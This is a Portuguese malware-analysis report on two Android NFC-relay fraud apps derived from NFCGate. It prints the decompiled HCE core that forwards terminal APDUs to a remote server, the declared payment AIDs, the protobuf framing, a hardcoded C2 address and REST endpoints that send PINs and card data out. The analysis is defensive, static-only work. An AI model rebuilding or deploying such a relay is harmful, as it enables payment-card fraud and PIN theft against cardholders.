NFCRelay — o "pagador" (lado HCE) — o que foi descompilado e documentado
Documento de leitura para entender o outro lado do kit: o app que se passa por cartão na maquininha.
Base: análise estática dos APKs que estavam no Downloads, sem executá-los.
Amostras:
| APK | package | rótulo | SHA-256 |
|---|---|---|---|
NFCRelayApp.apk |
com.nfcrelay |
"Autenticador" | cac9d999…5541e3 |
NFCRelayEmulator.apk |
com.nfcrelay.emulator |
"Relay" | b9b21a63…052b1c2 |
Ferramentas: apktool (manifest/recursos), jadx (código), aapt2 (badging/xmltree),
REA inspect-android-package (inventário). Fontes geradas em:
analise-apk/decompilado/nfcrelay-app/ (3.028+ classes Kotlin→Java)
analise-apk/decompilado/nfcrelay-emulator/
analise-apk/evidencias-outros/*.json (inventário REA)
1. Identidade e forma
| NFCRelayApp | NFCRelayEmulator | |
|---|---|---|
| package / versão | com.nfcrelay 1.0 |
com.nfcrelay.emulator 1.0 |
| minSdk / target | 26 / 35 | 26 / 35 |
| classes / recursos | 3.295 / 905 | 3.087 / 901 |
| dex | 6 arquivos | 7 arquivos |
| libs nativas | nenhuma | nenhuma |
| linguagem | Kotlin (metadados preservados) | Kotlin |
| ofuscação | nenhuma — nomes legíveis | nenhuma |
Ponto importante: não são ofuscados. com.nfcrelay.HceService, RelayService, ApiClient — tudo com nome
de gente. Isso é o oposto do NFCLocator, que vinha todo em pacote default com nomes aleatórios.
2. Permissões e features
android.permission.NFC
android.permission.INTERNET
android.permission.FOREGROUND_SERVICE
android.permission.FOREGROUND_SERVICE_CONNECTED_DEVICE
uses-feature: android.hardware.nfc.hce <-- exige HCE
uses-feature: android.hardware.faketouch
Nada de câmera, SMS, acessibilidade, overlay por SYSTEM_ALERT_WINDOW ou localização. É um app de NFC + rede,
nada mais. (O "overlay" do emulador é uma activity dele mesmo, não uma sobreposição em cima de outros apps.)
3. Componentes declarados
NFCRelayApp (com.nfcrelay):
| tipo | nome | exported | papel |
|---|---|---|---|
| activity | MainActivity |
true (MAIN/LAUNCHER) | status do relay |
| activity | AuthActivity |
false | fluxo de "autenticação" com PIN (712 linhas) |
| activity | PinActivity |
false | teclado de PIN |
| service | HceService |
true — HOST_APDU_SERVICE |
pagador HCE |
| service | RelayService |
false | serviço de primeiro plano: conexão, heartbeat, leitura |
NFCRelayEmulator (com.nfcrelay.emulator):
| tipo | nome | exported | papel |
|---|---|---|---|
| activity | MainActivity |
true | status |
| activity | OverlayActivity |
false | pede PIN em tela cheia própria |
| service | HceEmulatorService |
true — HOST_APDU_SERVICE |
pagador HCE |
| service | EmulatorService |
false | conexão/heartbeat |
O exported=true no serviço HCE é o que o Android exige para o sistema entregar APDUs de terminal nele.
4. O coração: como o celular "vira cartão"
Arquivo: com/nfcrelay/HceService.java (79 linhas — é literalmente o núcleo do golpe):
public byte[] processCommandApdu(byte[] commandApdu, Bundle extras) {
Log.d("HCE", "APDU from terminal: " + toHex(commandApdu));
responseQueue.clear();
RelayService.INSTANCE.sendToServer(commandApdu, false); // 1. manda pro servidor
byte[] response = responseQueue.poll(4000L, MILLISECONDS); // 2. espera 4s
return response == null ? new byte[]{0x6F, 0x00} : response; // 3. devolve ao terminal
}
No emulador (HceEmulatorService) é igual, com duas diferenças:
- espera 6000 ms (não 4000)
- mantém um cache local ConcurrentHashMap<String cmdHex, byte[] resp> — comando repetido responde
sem ir ao servidor (cacheResponse(cmdHex, respBytes)), o que reduz latência em transações reais.
Traduzindo: a maquininha manda o APDU → o app não responde nada de si mesmo → pergunta ao servidor → devolve a
resposta que o servidor mandar. Se o servidor não responder em 4-6 s, devolve 6F 00 (falha).
AIDs declarados (o que faz a maquininha reconhecer)
res/xml/apduservice.xml, categoria payment:
- NFCRelayApp: 17 AIDs · NFCRelayEmulator: 18 (inclui PPSE
325041592E5359532E4444463031) - Visa
A0000000031010/2010/3010/4010/8010, MastercardA0000000041010/2203/3060/6000, AmexA0000000250107001, DiscoverA000000152304305/3434, JCBA000000065…, UnionPayA000000333…, Elo/BanescoA00000000386980701
Comparativo direto: o NFCGate oficial declara 1 AID de teste (F0010203040506, categoria other). É a diferença
entre "ferramenta de pesquisa" e "aceito em maquininha".
5. Transporte: TCP binário com protobuf do NFCGate
Arquivo: com/nfcrelay/emulator/ServerConnection.java
[ 4 bytes tamanho ][ 1 byte sessão ][ payload protobuf ]
O servidor oficial do NFCGate faz exatamente isso (struct.unpack("!IB", …)), e o payload é
de.tu_darmstadt.seemoo.nfcgate.network.c2c.C2c$NFCData:
| campo | nº | tipo | conteúdo |
|---|---|---|---|
data_source |
1 | enum | READER=0 · CARD=1 |
data_type |
2 | enum | INITIAL=0 · CONTINUATION=1 |
data |
3 | bytes | APDU binário |
timestamp |
4 | int64 | System.currentTimeMillis() |
Código que monta (linha 56-57):
C2c.NFCData.DataSource source = fromReader ? DataSource.READER : DataSource.CARD;
C2c.NFCData nfc = C2c.NFCData.newBuilder()
.setDataSource(source)
.setDataType(C2c.NFCData.DataType.INITIAL)
.setTimestamp(System.currentTimeMillis())
.setData(ByteString.copyFrom(apduData)).build();
- o pagador chama
sendToServer(apdu, false)→data_source = CARD(APDU veio do terminal) - o leitor chama com
true→READER(APDU veio do cartão) - sessão = 1 byte derivado do
android_idna primeira execução (prefs: device_session) - sem TLS, sem autenticação, sem handshake
Servidor embutido: host = 94.154.172.228, port = 5566 (gravado em SharedPreferences no primeiro start:
putString("server","94.154.172.228").putInt("port",5566)).
6. Camada REST (controle + PIN) — http://94.154.172.228:8080
Arquivo: com/nfcrelay/ApiClient.java (OkHttp, JSON):
| Método | Rota | Envia | Lê |
|---|---|---|---|
| POST | /api/register |
{session} |
{server} |
| POST | /api/heartbeat |
{session, mode} |
estado/modo |
| GET | /api/sessions/{s}/pin_status |
— | {status} |
| POST | /api/digit_count |
{session, count, typed} |
— |
| POST | /api/enroll_pin |
{session, pin} |
{ok} |
| POST | /api/verify_pin |
{session, pin} |
{ok} |
| POST | /api/card_data |
{session, apdus[]} |
— |
| POST | /api/preread |
{session, cache} |
— |
Leitura: register + heartbeat publicam o aparelho; pin_status/digit_count/verify_pin/enroll_pin são o
canal do PIN; card_data sobe o lote de APDUs lidos.
7. Telas e estados
MainActivityescreve na tela"💳 Emulando cartão..."ou"⏳ Aguardando NFC"conforme omoderecebido (reading/emulating).RelayService.startHeartbeat()mantém o modo publicado;setMode()troca o texto e o estado.RelayService.handleTag(Tag)é o lado leitor dentro do mesmo app (por isso oNFCRelayAppfaz os dois papéis).AuthActivity/PinActivity/OverlayActivity= telas de PIN (fluxopollPinStatus→submitPin).RelayService.parsePpseAids()lê os AIDs do PPSE quando o aparelho está em modo leitor — ereportCardData(session, captured)sobe o que foi lido.
8. Linhagem: é NFCGate com enxerto
| NFCGate oficial (Apache 2.0) | Estes APKs | |
|---|---|---|
Framing !IB |
sim | idêntico |
protobuf C2c$NFCData |
sim | idêntico, mesmo namespace de.tu_darmstadt.seemoo.nfcgate |
| AID | 1 de teste | 17-18 de pagamento |
| PIN | não existe | REST dedicado |
| Xposed | exigido no modo tag | não precisa |
| Licença no APK | LICENSE/NOTICE |
0 arquivos (54 ocorrências de seemoo/nfcgate no dex, 0 de "Apache") |
Ou seja: o protocolo é público (dá pra ler no GitHub do projeto), o que fizeram foi trocar o transporte por um IP fixo, adicionar o canal de PIN e remover a atribuição — violação da Apache 2.0.
9. O que não foi feito / não se sabe
- Não executei nenhum dos dois APKs. Tudo acima é leitura de código.
- Não repackei e não apontei o pagador para o servidor do laboratório. O
94.154.172.228é o backend deles. - Não acessei
94.154.172.228(nem 5566 nem 8080) — o que se sabe do servidor é o que o cliente revela. - Não sei como o servidor gera/valida ARQC (9F26): isso é do lado servidor e do cartão real.
enroll_pinsugere cadastro prévio de PIN, mas o efeito real depende do backend.
10. Como reproduzir a análise
# inventário
java -jar apktool.jar d -f -o out NFCRelayApp.apk
java -Xmx4g -cp "jadx/lib/*" jadx.cli.JadxCLI -d java --no-res NFCRelayApp.apk
# hce + aids
aapt2 dump xmltree --file AndroidManifest.xml NFCRelayApp.apk | grep -A3 HOST_APDU
aapt2 dump xmltree --file res/xml/apduservice.xml NFCRelayApp.apk
# núcleo
cat out/smali_classes*/com/nfcrelay/HceService.smali # ou java/com/nfcrelay/HceService.java
cat java/com/nfcrelay/ApiClient.java
cat java/com/nfcrelay/emulator/ServerConnection.java
11. Resumo em uma frase
O pagador é um cartão oco: ele não tem dado nenhum de cartão — só declara 17-18 AIDs de pagamento para o terminal aceitar, repassa cada APDU por TCP/protobuf para um servidor e devolve a resposta que vier de lá; o servidor é quem está conversando com o cartão real (no leitor) e quem coleta o PIN pela camada REST.